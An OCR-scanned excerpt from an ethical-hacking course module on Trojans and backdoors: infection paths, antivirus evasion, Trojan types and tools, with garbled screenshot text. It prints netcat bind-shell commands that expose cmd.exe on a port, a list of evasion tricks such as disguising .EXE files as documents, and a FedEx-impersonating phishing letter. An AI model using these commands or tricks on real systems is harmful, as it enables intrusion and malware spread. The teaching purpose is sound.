0 There are many underground sites such as NeuroticKat Software. It is highly risky to
download any program or tool located on such a suspicious site that can serve as a

0 conduit for a Trojan attack on a victim's computer. No matter what software you use,
are you ready to take that risk?

0o Many sites are available that have a professional look and contain huge archives. These
sites are full of feedback forms and links to other popular sites. Users must take the
time to scan such files before downloading them, so that it can be determined whether
or not they are coming from a genuine site or a suspicious one.

0 Software such as mIRC, ICQ, PGP, or any other popular software must be downloaded
from its original (or official dedicated mirror) site, and not from any other websites that
may have links to download supposedly the same software.

o Webmasters of well-known security portals, who have vast archives with various
"hacking" programs, should be responsible for the files they provide and scan them
often with anti-virus and anti-Trojan software to guarantee the site to be "free of
Trojans and viruses." Suppose an attacker submits a program infected with a Trojan,
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0 e.g.,, a UDP flooder, to the webmaster for the archive; if the webmaster is not alert, the
attacker may use the webmaster's irresponsibility to infect the site's files with a Trojan.

o Users who deal with any kind of software or web application should scan their systems
on a daily basis. If they detect any new file, it should be examined. If any suspicion arises
regarding the file, it must be forwarded to software detection labs for further analysis.

0 Itis easy to infect machines using freeware programs. "Free is not always the best" and
hence these programs are hazardous for systems.

NetBlIOS (File Sharing)

If port 139 on the system is open, i.e., file sharing is enabled, it can be used by others
to access the system, install trojan.exe, and modify a system'’s file.

0 The attacker can also use a DoS attack to shut down the system and force a reboot, so
the Trojan can restart itself immediately. To block file sharing in the WinME version, go
to:

0 Start > Settings -> Control Panel = Network == File and Print Sharing
o Uncheck the boxes there. This will prevent NetBIOS abuse.
Downloading

Downloading files, games, and screensavers from Internet sites can be dangerous.
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H ow to Deploy a Trojan EH

« 1Umjl Kmim

Major Trojan Attack Paths:
» User clicks on the malicious link

8 User opens malicious email attachments

Attacker installs

the Trojan infecting
his machine Trojan Server

(Russia)

Trojan is sent to the victim
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How to Deploy a Trojan

A Trojan is the means by which an attacker can gain access to the victim's system. In
order to gain control over the victim's machine, an attacker creates a Trojan server, and then
sends an email to a victim containing a link to the Trojan server. Once the victim clicks on the
link sent by the attacker, it connects him or her directly to the Trojan server. The Trojan server
sends a Trojan to the victim system. The attacker installs the Trojan, infecting the victim's
machine. As a result, victim is connected to the attack server unknowingly. Once the victim
connects to an attacker server, the attacker takes complete control over the victim's system
and performs any action the attacker chooses. If the victim carries out any online transaction or
purchase, then the attacker can easily steal sensitive information such as credit card details,
account information, etc. In addition, attackers can also use the victim's machine as the source
for launching attacks on other systems.

Computers typically get infected by users clicking on a malicious link or opening an emalil
attachment that installs a Trojan on their computers that serves as a back door to criminals who
can then command the computer to send spam email.
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Computers typically get infected by clicking on a

x O Ol malicious link or opening an e-mail attachment
Fri HityAl fateite Grirta that installs a Trojan on their computers that
serves as a back door to criminals who can then
Subject:  Apoc «Odorm 227867 command the computer to send spam email
Apple Store
Call 1-800-MY-APPLE )
The Trojan connects to
Dear Customer Link to Trojan Server the attack server

To view the most up-to-date status &ﬁffﬁe
Apple Online Store order, visit online y|ur Qrc/r Siatus.

r
|

You car. alsocontact Apple Store Customer Service a: 1-800-576-2775 or vut Cniat for

mere nfo:1raCoc.

Attacker sends an email
to victim containing link
to Trojan server

Immediately connects to

Trojan server in Russia

Internet

Trojan Server
la

(Russia)
Trojan Is sent to the victim

FIGURE 6.9: Diagrammatical representation of deploying a Trojan in victims system
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Evading Anti-Virus Techniques

Break the Trojan file into multiple
pieces and zip them as single file

Never use Trojans
downloaded from the
web (antivirus can
detect these easily)

ALWAYS write your own
Trojan and embed it into
an application

Change the content of the Change Trojan's syntax:
Trojan using hex editor and

also change the checksum
and encrypt the file

« Convert an EXE to VB script

e Change .EXE extension to
.DOC.EXE, .PPT.EXE or .PDF.EXE
(Windows hide "known
extensions”, by default, so it shows
up only .DOC, .PPT and .PDF)
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Evading Antivirus Techniques

The following are the various techniques used by Trojans, viruses, and worms to
evade most of antivirus software:

1. Never use Trojans downloaded from the web (antivirus detects these easily).
2. Write your own Trojan and embed it into an application.
3. Change the Trojan's syntax:
o Convert an EXE to VB script
© Convert an EXE to a DOC file
Q Convert an EXE to a PPT file
4. Change the checksum.
5. Change the content of the Trojan using a hex editor.

6. Break the Trojan file into multiple pieces.
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So far, we have discussed various concepts of Trojans and the way they infect the
system. Now we will discuss various types of Trojans that are used by attackers for gaining

sensitive information through various means.

Trojan Concepts Countermeasures

J Trojans Infection Anti-Trojan Software

A Types of Trojans y ) Penetration Testing

I 1 Trojan Detection

This section covers various types of Trojans such as command-shell Trojans, document Trojans,
email Trojans, botnet Trojans, proxy server Trojans, and so on.
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/
i

Types

VNC \
Trojan

o fT

/HTTP/HTTPS\ /*ICMP \
: Trojan: ;

Trojan

Types of Trojans

Various types of Trojans that are intended for various purposes are available. The following is

a list of types of Trojans:

0
0

o

© © © @ 0 ° °

VNC Trojan
HTTP/HTTPS Trojan
ICMP Trojan
Command Shell Trojan
Data Hiding Trojan
Destructive Trojan
Document Trojan

GUI Trojan

FTP Trojan

E-mail Trojan

Remote Access Trojan
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CEH

/Data Hiding*. /*Destructive**. /*Document
Trojan Trojan o Trojan
a a

©
0
0
0
0
0
0
0
0
0

Proxy Server Trojan
Botnet Trojan

Covert Channel Trojan
SPAM Trojan

Credit Card Trojan
Defacement Trojan
E-banking Trojan
Notification Trojan
Mobile Trojan

MAC OS X Trojan

All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker

Trojans and Backdoors

Command Shell Trojans CEH

J Command shell Trojan gives remote control of acommand shell on avictim's machine
J Trojan server is installed on the victim's machine, which opens a port for attacker to connect.
The client is installed on the attacker's machine, which is used to launch a command shell on the

victim's machine

Command Shell Trojans

The command shell Trojan gives remote control of acommand shell on avictim's
machine. The Trojan server is installed on the victim's machine, which opens a port for the

attacker to connect. The client is installed on the attacker's machine, which is used to launch a

command shell on the victim's machine.

C:> nc <ip> <port>
C:> nc -L -p <port>
-t -e cmd.exe

FIGURE 6.10: Attacker launching command shell Trojan in victim's machine
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Command Shell Trojan: Netcat CEH

c:\>nc.exe -h

[ Y110 NI i

connect t0 scaenhere:  nc ]Toptions] hostname port[s] [ports[ ...
listen for inbound: nc -1 -p port [options] [hostname] [port]

options:
-d detach from console, stealth node
-e prog inbound program to exec [dangerous!!
:%gate'v\ﬂy source-routing hop point[s] , “up to —

um source-routing pointer: 4, 8, 12, ...

-h this cruft ]
-i secs delay interval for lines sent, ports scanned -
1 listen mode, for Inbound connects
-L listen_harder, re-listen on socket close
o numeric-only [P addresses, no CNS
-o file hex dunp of traffic
-p port local port
-r randomize local and remote ports
-a addr local source address
-t answer THINET negotiation
-u UP nmode .
v verbose [use twice to be more verbose]
W Secs timeout_for connects and final net reads
-z zero-1/0 noe [used for scanning]

port numbers can be individual or ranges: nin [inclusive]

C\>

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Command Shell Trojan: N etcat

Using Netcat, an attacker can set up a port or a backdoor that will allow him or her to
telnet into a DOS shell. With a simple command such as C:\>nc -L -p 5000 -t -e cmd.exe, the
attacker can bind port 5000. With Netcat, the wuser can create outbound or inbound
connections, TCP or UDP, to or from any port. It provides for full DNS forward/reverse checking,
with appropriate warnings. Additionally, it provides the ability to use any local source port, any
locally configured network source address, and it comes with built-in port-scanning capabilities.
It has a built-in loose source-routing capability and can read command-line arguments from
standard input. Another feature is the ability to let another program respond to inbound

connections (another program service established connections).

In the simplest usage, "nc host port" creates a TCP connection to the given port on the given
target host. The standard input is then sent to the host, and anything that comes back across
the connection is sent to the standard output. This continues indefinitely, until the network side
of the connection shuts down. This behavior is different from most other applications, which
shut everything down and exit after an end-of-file on the standard input. Netcat can also
function as a server by listening for inbound connections on arbitrary ports, and then doing the
same reading and writing. With minor limitations, Netcat does not really care if it runs in client
or server mode; it still moves data back and forth until there is none left. In either mode,

shutdown can be forced after a configurable time of inactivity on the network side.
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Features:
9 Outbound or inbound connections, TCP or UDP, to or from any port
9 Full DNS forward/reverse checking, with appropriate warnings
9 Ability to use any local source port
9 Ability to use any locally configured network source address
9 Built-in port-scanning capabilities, with randomizer
9 Built-in loose source-routing capability
9 Can read command-line arguments from standard input
9 Slow-send mode, one line every N seconds
9 Hex dump of transmitted and received data
9 Optional ability to let another program service establish connections
9 Optional telnet-options responder using the command nc -l -p 23 -t -e cmd.exe

9 Where 23 isthe port for telnet, -l option is to listen, -e option is to execute, -t option

tells Netcat to handle any telnet negotiation the client might expect

Netcat is a utility used for reading and writing the networks that support TCP and UDP
protocols. It is a Trojan that is used to open either the TCP or UDP port on a target system and

hackers with the help of Telnet gain the access over the system.

Command Prompt

c:\>nc.exe -h A
[vl.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports]
listen for inbound: nc -1 -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode | |
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12,
-h this cruft
-i secs delay interval for lines sent, ports scanned .
-1 listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of tra ffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TEIUET negotiation
-u UDP mode
-V verbose [use twice to be more verbose]
-W secs timeout for connects and final net reads
-z zero-1/0 mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]
C:\>

FIGURE 6.11: Netcat screenshot
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GUITrojan: MoSucker

MoSucker 3.0

Selected Server: [z:\C&tv8 Module 06 Trojans and Backdoors\Trojans Type [ £21 Close  } O

Server ID:  15017MQWEY3C:4264200TPGNDEVC =~ 1Y)
CypherKey:  TWQPCUL25873IVFCSIQK 13761 v
tfctim's Name:  [victm 1 v

Server Name(s):  kerne!32,mscOnfig,winexec32,netconfig”
Extension(*):  exe,p!f't>at,A,jpe,com,bpg,xtr,txp, 0
Cormecbon-eort: 4288 v
W Prevent same server multHnfecbons (recommended) Y]

You may select a windows icon to assooate
with your custom file extension/s.

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

GUI Trojan: M oSucker
Source: http://www.dark-e.com

MoSucker is a Visual Basic Trojan. MoSucker's edit server program lets the infection routine be
changed and notification information set. MoSucker can auto load with the system.ini and/or
the registry. Unlike any other Trojan, MoSucker can be set to randomly choose which method
to auto load. It can notify cell phones via SMS in Germany only. MuSucker's edit server can gain
X number of kilobytes (X is either a static number or it is random each time). The standard error
message for MoSucker is "Zip file is damaged, truncated, or has been changed since it was
created. If you downloaded this file, try downloading again." Here is a list of file names
MoSucker suggests to name the server: MSNETCFG.exe, unin0686.exe, Calc.exe, HTTP.exe,
MSWINUPD.exe, Ars.exe, NETUPDATE.exe, and Register.exe.

Server Features:
0 Chat with victim
Q Clipboard manager
© Close/remove server
e Control mouse

9 Crash System File Manager
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0 Get passwords entered by user, system info

0 Hide/Show start button, system tray, taskbar

0 Keylogger

0 Minimize all windows

0 Open/close CD-ROM drive

0 Ping server

0 Pop-up startmenu

0 Process manger

0 Shutdown/Reboot/Standby/Logoff/Dos mode server
0 System keys on/off

0 Window manager

About N

| Options | S3 £EN Q

Misc stuff

Information

File related -1 gl I I.

5 / ft;
System
Spy related
Fun stuff | )
version 3.0
Fun stuff Il
Live capture
wwui.masuckcr.th
FIGURE 6.12: MoSucker screenshot
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* MoSucker 3.0
Selected Server |z:\CEHv8 Module 06 Trojans and Backdoors\Trojans Type C CICIose | O
Name/Port
Server ID: 1501704QWEY X:4264200TPGNDEVC w
Password
Autostart Cypher Key: ~ TWQPCUL25873IVFCSJIQK13761 vV

Notification 1

Notification 2

Victim's Name:

Server Name(s):

Victim

kemel32'mscOnfigrwinexec32,netconfig’

Options . . )
P Extension(s): exe.pi“bat’lijpe.com”pq.xtrjtxp,
Events
Connection-gort: 4288|

Bind Files g v
Keylogger [/ Prevent same server multi-infections (recommended) W
Plug-ins/Kill

You may select a windows icon to associate

Fake Error < >

with your custom file extension/s.
File Properties

Icons

Read Save Exit

FIGURE 6.13: MoSucker showing victim's name and connection port
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GUI Trojan: Jumper and Biodox CEH

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

GUI Trojan: Jum per and Biodox

Jumper is a malicious malware program that performs many functions to download
malicious malware from the Internet. Attackers use this jumper Trojan to get sensitive data like
financial information from the user's system. It also downloads additional downloads for the

attacker to be able to access the system remotely.

Generally, the BIODOX OE Edition.exe file should be in the C:\Windows\System32 folder; if it
has been found elsewhere, then it is a Trojan. Once the computer gets infected by the Biodox,
the system performance decreases. The screensaver gets changed automatically. Continuous

annoying advertisement pop-ups appearing on the computer can be treated as one of the
symptoms of this Trojan.
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FIGURE 6.13: Screenshots showing Biodox and Jumper
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DocumentTrojans CEH

VIA LETTER

John Stevens FecE x

Royal Communications Company ™
445 152th Street SW. September 2, 2012

Washington, DC 20554

Attacker

RE: Fedex Shipment Airway Bill Number: 867676340056
Dear Mr. Stevens:
We have received a package addressed to you at the value of USD 2,300.

The custom duty has not been paid for this shipment which is listed as
Apple iMac 24' Computer.

Please call us at Fedex at 1800-234-446 Ext 345 or e-mail me at Attacker embeds Troja.n into
m.roberts@fedex.com regarding this shipment. aWord document and infects

- . . . victim computer
Please visit our Fedex Package Tracking Website to see more details

about this shipment and advice us on how to proceed. The website
link is attached with this letter.

Victim's
Trojan embedded in System

Pack
ackage Word document

Sincerely,

Michelle Roberts

Customer Service Representative
International Shipment and Handling
Fedex Atlanta Division

Tel: 1800-234-446 Ext 345

http://www.fedex.com Trojan is executed as victim opens the

m.roberts@fedex.com document and clicks on Trojan package

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

D ocument Trojans

Most users usually have the tendency to update their operating system but not the
application they use regularly. Attackers take this opportunity to install document Trojans.
Attackers usually embed a Trojan into a document and transfer it in the form of an attachment
in emails, office documents, web pages, or media files such as flash and PDFs. When a user
opens the document with the embedded Trojan assuming it is a legitimate one, the Trojan is
installed on the victim's machine. This exploits the application used to open the document.

Attackers can then access sensitive data and perform malicious actions.
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A ttacker

m
Attacker embeds Trojan into
aWord document and infects
victim computer
®"! !'TS
m

Trojan is executed as victim opens the
document and clicks on Trojan package

FIGURE 6.13: Attacker infecting victim's machine using Document Trojan

An example of a Trojan embedded in a Word document is as follows:

FecEx

R™alC*muniraUonsCompany September 2, 2012
445 152th Street S.W. r

Washington, DC 20554

John Stevens

RE: Fedex Shipment Airway Bill Number: 867676340056
Dear Mr. Stevens:

We have received a package addressed to you at the value of USD 2,300.
The custom duty has not been paid for this shipment which is listed as
Apple iMac24' Computer.

Please call us at Fedex at 1800-2 34-446 Fxt 3450r e-mail meat
m.robcrts(S>fedex.com regarding this shipment.

Please visit our Fedex Package Tracking website to see more details
about this shipment and advice us on howto proceed. The website
link is attached with this letter.

CRES Trojan embedded in
Pda®e Word document
Sincerely,

Michelle Roberts

Customer Service Representative
International Shipment and Handling
Fedex Atlanta Division

Tel: 1800-234-446 Ext 345
http://www.fedex.com
m.rohertsgQfedex.com
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FIGURE 6.14: An example of Trojan embedded in a Word document

E-mail Trojans CEH

J Attacker gains remote control of a victim computer by sending email messages

'
. . ) . m
J Attackers can then retrieve files or folders by sending commands through email ( y
J Attacker uses open relay SMTP server and fakes the email's FROM field to hide / -\
origin I\ 7
Instructions are sent to
the victim through emails Any commands for me?
Send me :\creditcard.txt Here is the requested file
file and launch calc.exe
Emall Calc.exe
executed
Attacker Internet Firewall Victim

Copyright G by EG-Gtlincil. All Rights Reserved. Reproduction is Strictly Prohibited.

Email Trojans spread through bulk emails. Trojan viruses are sent through
attachments. The moment the user opens the email, the virus enters the system and spreads
and causes a lot of damage to the data in the system. It is always recommended that users not
open emails from unknown users. Sometimes email Trojans may even generate automatic mail
and send it to all the contacts present in the victim's address book. Thus, it is spread through

the contact list of the infected victim.

Attackers send instructions to the victim through email. When the victim opens the email, the
instructions will be executed automatically. Thus, attackers can retrieve files or folders by

sending commands through email.

The following figure explains how an attack can be performed using email Trojans.
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Instructions are sent to
the victim through emails

Send me :\araditcard. txt
file and launch calc.exe

Attacker

Email

Ty

Internet

Exam 312-50 Certified Ethical Hacker

-
Any commands for me?
Here is the requested file
?
Jp 7 ™
ik exe
i executed

||||*

Ile

Firewall Victim

FIGURE 6.15: lllustrating the attack process using email Trojans
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E-mail Trojans: RemoteByMail  CEH

busaw 5 P
Ertvai: :«nr 0
Next eavrf check 000900 . "
fovg ghociung OF patswa Avohbfc ammand
ITS{IJW SMTP Mfver 10/tjeAa oxn
State No@m Aulherticaton ~ |Sane« POP j]
I;T«ea? SMTPuter
rogrm
SMTP pacwad
xpx
SoltPwfe canl 31
S<enpecQn
1, 1
1
1 y uteri mais¥ «* 0 ".(6’ «
wl
SSASSb -
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RemoteByMail is used to control and access a computer, irrespective of its location,
simply by sending email. With simple commands sent by email to acomputer at work or at

home, it can perform the following tasks:
0 Retrieves list of files and folders easily
0 Zips files automatically that are to be transferred
0 Helps to execute programs, batch files, or opens files

This is an easier way to access files or to execute programs on acomputer remotely. The main

screen displays information that the program has received and processed:

0 Start Server: Click the Start Server icon for RemoteByMail to begin the process and

receive email
0 Stop: Click the Stop icon to stop the application at any time
0 Check now: Checks for next scheduled email
0 Statistics: Displays program information

0 Listening to Accounts: Displays accounts and associated email addresses
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0 Emails received: Displays email list containing commands the program has received
0 Command queue: Displays commands the program has received but not yet processed
0 Outgoing emails: Checks for processing email
0 Emails send: Displays list of email sent by RemoteByMail
RemoteByMail accepts and executes the following commands:
0 Hl: Used to send email with the content "Hi" to your email address
0 SEND: Sends files located on the host computer to your email address

0 ZEND: Zips and then sends files or folders located on the host computer toyour email
address. To open a Zip attachment after you receive, enter the password you chose

when you created the account
0 EXECUTE: Executes programs or batch files on the host's computer

0 DIR: Sends the directory of a drive or folder to your email address

N»  Accors Tooe

© N

Ut 0.0

D* fiam Cife >0>
Cm*imoM g
B nr* 0
Nerf«ooicred »C9CC
Hwc.'Kirg POPtm!mwig w
SVITP Miww IwHpwhegn
LMwtr Avhertodiog Same« POP 3
om To T SMTP, I 1
SMTPW
CldvaMcgM ifim J itft {
lillg

nv./.xn %% fw'tng mkd “C<AM.
wn/smr m ., ve r
Ta«7/7a»r«6 13pv wi

- o1 Xiwl 75|

FIGURE 6.16: RemoteByMail screenshots
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DefacementTrojans CEH

D efacem ent Trojans

Defacement Trojans, once spread over the system, can destroy or change the entire
content present in the database. This defacement Trojan is more dangerous when attackers
target websites; they physically change the entire HTML format, resulting in the changes of
content of the website, and even more loss occurs when this defacement targets e-business
activities. It allows you to view and edit almost any aspect of a compiled Windows program,
from the menus to the dialog boxes to the icons and beyond. Resource editors allow you to
view, edit, extract, and replace strings, bitmaps, logos, and icons from any Windows program.
They apply target-styled Custom Applications (UCAs) to deface Windows applications. Example

of calc.exe defaced:

Module 06 Page 880 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Trojans and Backdoors

You Are Hacked!I!!!  View Help
~~0.
Defaced calc.exe
E Calculator
1 1Z]
YouAie Hacked! Il View heto |6acfctfrace| |  CE I[- C
|
Ibk*Im<«i ce 1| € | 0
OqitDn'zipi 0] nnNnanNnNnIi~AanNnn
= = = N
0" o I"NITTHIT AN I 0 wo WDO
(I R I R BT
E 1"annl 1M 0 0 0 OO o

FIGURE 6.16: An example of calc.exe defaced
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D efacem ent Trojans: R estorator
Source: http://www.bome.com

Restorator is a versatile skin editor for any Win32 programs. The tool can modify the target
interface of any Windows 32-bit program and thus create target-styled Custom Applications
(UCAs). You can view, extract, add, remove, and change images, icons, text, dialogs, sounds,

videos, version, dialogs, and menus in almost all programs.

Technically speaking, it allows you to edit the resources in many file types, for example .ocx
(Active X), .scr (Screen Saver), and others. The attacker can distribute modifications in a small,
self-executing file. It is a standalone program that redoes the modifications made to a program.

Its Grab function allows you to retrieve resources from files on atarget's disk.

Restorator is the Borne flagship product that allows you to do resource (resources are
application-dependent data that the respective programmer includes in the program) editing. It
is a utility for editing Windows resources in applications and their components, e.g., files with
.exe, .dll, .res, .rc, and .dcr extensions. You can wuse this for translation/localization,
customization, design improvement, and development. This resource editor comes with an
intuitive target-interface. You can replace logos and can control resource files in the software

development process. It can intrude into the target's system and its working programs.
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storator 2007 Trial - C:\Software\Softpedia.exe

File Resources Viewer Edit Tools Help

n] a - n a o o ,
Resouice Tree

a ]§) Softpediaexe M M M M

B " String Savi 1*1 Show Tooltips [default]
2 Neutr< Da\lllrr‘?lc Builder F 0 Allow multiple Restorator instances
++
S O RCData Cedp " UNAErFomS 149 Show splash screen on start
o 1m shell Iotepagife N Keep Restorator Window always on top
a 1& lcon ) fl Integration 0 Ask for Folder, when assigning/extracting all [default]
O MAINI Viewer
3 IcD Version Text Editor Number of recently used files in file menu: 10 ~
01 File Browser
a tj Manifest RC Files Number of recently found files in file menu: 20 ][jj
101 Advanced
<L 2>
OK
19 65426 Integer overflow
20 65427 Invalid floating point operation
21 65428 Floating point division by zero
22 65429 Floating point overflow
23 65430 Floatina ooint underflow
String\4089\Neutral String 1 open file
FIGURE 6.17: Restorator Screenshot
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Botnet Trojans CEH

0
J Botnet Trojans infect a large number of computers across a large geographical
area to create a network of bots that is controlled through a Command and
Control (C&C) center
J Botnet is used to launch various attacks on avictim including denial-of-service
attacks, spamming, click fraud, and the theft of financial information
,0 0.
Website
Botnet
Server
Copyright © by BGA0DAl. il Rights Reserved. Reproduction Is Strictly Prohibited.
C1 Botnet Trojans

------- A botnet is a collection of software robots (worms, Trojan horses, and backdoors)
that run automatically. It refers to a collection of compromised machines running programs
under a common command and control infrastructure. A botnet's originator (attacker) can
control the group remotely. These are computers (a group of zombie computers) infected by
worms or Trojans and taken over surreptitiously by attackers and brought into networks to
send spam, more viruses, or launch denial of service attacks. This is a computer that has been

infected and taken over by an attacker by using avirus/Trojan/malware.

Botnet owners usually target educational, government, military, and other networks. With the
help of botnets, attacks like denial of service, creation or misuse of SMTP mails, click fraud,

theft of application serial numbers, login IDs, credit card numbers, etc. are performed.
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Botnet
C&C Server

FIGURE 6.18: lllustrating the process of infecting company's website using Botnet Trojans
It has two main components:
© Botnet
Botmaster

They target both businesses as well as individual systems to steal valuable information. There

are four botnet topologies.
Q Hierarchal
Q Multi Server
Q Star

e Random (Mesh)
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Botnet Trojan: lllusion Bot and
NetBot Attacker

"VFENBIB OCL Feleed
Char  tichvan
o (U0L Pat 6567 pry: RS
alﬂm f\x eee7  Chan #ch*n -
W
.3 fot
D« araccs
Sot*14. put R
* Sook:5 oat R " Random tanpe 2001
HP.PC* R
Bindttwi. port
RCAocim
NI DEOQ0 .
MD5 Cijpt
**""CP*WarIR':charrel JRr"
Mo 1] * *
Qdravicc CE
1eMW
Facvelwv
Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.
B otnet Trojan: Illusion Botand N etBot A ttacker

Illusion Bot is a clear GUI tool for configuration. When this bot starts, it checks the OS
version and if it detects Win98, it calls the Register Service Process APl to hide the process
from the Task Manager. The bot then proceeds to install the rootkit component. If the

installation fails, the bot tries to inject its code inside the explorer.exe process.
Illusion Bot is a GUI tool.
Features:
9 C&C can be managed over IRC and HTTP
9 Proxy functionality (Socks4, Socksb5)
9 FTP service
9 MD5 support for passwords
9 Rootkit
9 Code injection
9 Colored IRC messages
9 XP SP2 Firewall bypass

9 DDOS capabilities
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NetBot Attacker provides a simple Windows Ul for controlling a botnet, reporting and

managing the network, and commanding attacks. It

installs in to the systemin avery simple
way such as RAR file with two pieces: an INI

file (see the following, partially editedand
obscured) and a simple EXE. The original NetBot Attacker is a backdoor; thistool retainsthat

be a part of the rest of the botnet.

; 1
Brry  C\Doajmem and SettrgsSWinuxSPafo'Ma cto/ABOT6INARY Bt — Retoad

capability and lets you update the bot and

IRCAdnratKton
01>Jme hasts  flltac* Area  Collective order Ute 1
1] Hot* 10001 Pot 6667  Chan BeHsn Pats
2 Horf 10001 Port 6667  Chon Uchan Paw **je
WEBA<*nrct140n
1| Most Port Path FHiesfitre* i
21 Host Port Path we
r**j» mmc«
Socfc#4.pere R
* Soc*»5. port R & Random larnj? 2001 = 3000
FTP port R Bndshel port R
IRCACC*11
BOT PASSWORD MD5 Qrypt
O0km
* IntMI*M r* Dkvm + AutoOP admn onlRC channri * IRC trv«
Shv# sav<at e« n ipgn'if -+ Irtact cods |if drvar e * Bypat1XPSP2Fe »*4
+ Colored RC nreuages « Addto autobad FbodVitt

h Bt | saa Aoout

FIGURE 6.18: lllusion Bot and NetBot Attacker Screenshots
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Proxy ServerTrojans

Trojan Proxy is usually a standalone application that
Proxy Troja allows remote attackers to use the victim's computer
W  as aproxy to connect to the Internet

Proxy server Trojan, when infected, starts a hidden Hidden
proxy server on the victim's computer Server

Thousands of machines on the Internet are infected

Infection ) ) . .
with proxy servers using this technique

| p '&S © - ]®I|i Process

Target
Attacker Victim (Proxied) Internet company

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Proxy Server Trojans

A proxy server Trojan is atype of Trojan that customizes the target's system to act as a
proxy server. A proxy server Trojan, when infected, starts a hidden proxy server on the victim's
computer. The attacker can use this to carry out any illegal activities such as credit card fraud,
identity theft, and can even launch malicious attacks against other networks. This can

communicate to other proxy servers and can also send an email that contains the related

information.

P

L. . Target
Attacker Victim (Proxied) Internet
Company
FIGURE 6.19: Attacker infecting Target company's system using Proxy Server Trojans
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Proxy Server Trojan: W-s bPrOxy
TrojaNCrs 4 to r (FuNNy Name)

J W3bPrOxy TrOj4n is a
proxy server Trojan
which support multi
connection from
many clients and
report IP and ports
to mail of the Trojan
owner
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Proxy Server Trojan: W 3bPrO xy Tr0j4nCr34t0r
(Funny N am e)

W3bPrOxy Tr0j4nCr34t0r is a proxy server Trojan developed in order to access systems

remotely. It supports multi-connections from many clients and reports IP and ports to the email

of the Trojan owner.
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Listening Ports [Separate ports with a sImicolon (;)]

10;Z1;22;80;81;135;I136;«IM12;666;H33;1434;2012]

Z H T e C tm %[Mndows system]

few fV oSfe

Welcomc to W3bPrOxy TrOHn Cr34tOr V.1.D

FIGURE 6.20: W3bPrOxy Tr0j4nCr34t0r detecting IP address
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FTP Trojans CEH

Send me

\creditcard. txt file (FTP Server
06/02/2012 1,024 rod

installed in 09/06/2012 0 abc.tzt
the 08/24/2012 <0IR> AdventHet
05/21/2012 0 AUTOEXEC BAT
_ ) background) 05/21/2012 0 COBFIGSYS
Here is the requested file 06/04/2012 <OHt> Data
08/11/2012 <0IR> Documents
Victim
FTP Trojan: TinyFTPD
FTP Trojans install an FTP £53 Command Prompt
o, . C:\Docwents and Settings\Actaiin\Desktop\TinyFTPD 21 55555 test test c:\
server on the victim's machine, win98 all RHLCD

Tiny FTPD V1.4 By WinKggDrop

which opens FTP ports FTP Server Is Started

ControlPort: 21
An attacker can then connect BindPort: 55555
L . . UscrNasc: test
to the victim's machine using Password: test
3 BaaeDir: c:\vin98
FTP port to download any files Allovd 1P: all
that exist on the victim's Local Address: 192.168.168.16
ReadAccess: Yes
computer WnteAccess: Yes
ListAccess: Yes
CreateAccess: Yes
DeleteAccess: Yes
ExecuteAccess: Yes
UklodcAcoess: No

AnonyaousAccess No

Check Tise Oat Thread Created Successfully
HARK AR KR KRR K

0 Connection Is In Use
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FTP Trojans

An FTP Trojan is a type of Trojan that is designed to open port 21 and make the
target's system accessible to the attacker. It Installs an FTP server on the target's machine,
allowing the attacker to gain access to sensitive data and download/upload files/programs
through the FTP Protocol. Further, it also installs malware on the targets system. Credit card
information, confidential data, email addresses, and password attacks can also be employed

where only the attacker gains access to the system.

(ft Send me FTP Server
. ; ; \paic g dri has .no .

c:\creditcard. tx tfile (TP Server %@Igg‘gﬁdls IfKQEDranryofC\
installed in @t
the A A N

95V *e . . background) pdl

Here is the requested file H
U
Hacker Victim

FIGURE 6.21: Attacker infecting victim's system using FTP Trojans
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FTP Trojan: TinyFTPD

Command Prompt

C:\Documents and Settings\Admin\Desktop\TinyFTPD 21 55555 test test c:\
win98 all RALCD

Tiny FTPD V1.4 By WinEggDrop

FTP Server Is Started

ControlPort: 21
BindPort: 55555
UserName: test
Password: test
HomeDir: c:\win98
Allowd IP: all
Local Address: 192.168.168.16
ReadAccess: Yes
WriteAccess: Yes
LIstAccess: Yes
CreateAccess: Yes
DeleteAccess: Yes

ExecuteAccess:  Yes

UnlockAccess: No

AnonymousAccess: No

Check Time Out Thread Created Successfully
FhkkkRRdARxARRE waiting For New Connection
0 Connection Is In Use

FIGURE 6.22: TinyFTPD Screenshot
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VNC Trojans CEH

VNC Trojan starts a VNC Server daemon in the infected system

-
It connects to the victim using any VNC viewer with the password
"secret”
Since VNC program is considered a utility, this Trojan will never
be detected by anti virus
Command and
control instruction
f ot
Attacker Victim VNC Server
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VNC Trojans

VNC Trojans allow attackers to use the target's computer as a VNC server. These
Trojans won't be detected by antiviruses after they are run, because VNC Server is considered a

utility.
Performs the following functions when it infects the system:
0 Starts VNC Server daemon in the background when infected

0 Connects to the target using any VNC viewer with the password "secret"”

Command and
control instruction

VNC Traffic

Attacker Victim VNC Server

FIGURE 6.23: Attacker uses victim's computer as VNC server using VNC Trojans
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VNC Trojans: WinVNC andVNC - _ "

Stealer B

WinVNC VNC Stealer
WIinVNC: Current User Properties EM ®
Incoming Connections oK
f? Accept Socket Connections
. Cancel
Display Number [~ 17 Auto
Password: Apply

r* Accept CORBA Connect."."!
Ftp «Settings

r Disable Remote Keyboard t Pooler Host:

r Disable Local Keyboard & Porter

Update Hatvftng

Pol Consoie
r Poll Ful Screen X

Windows Only
f? Pol Foreground Window I~

F PolWrtdow Under Cusor

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

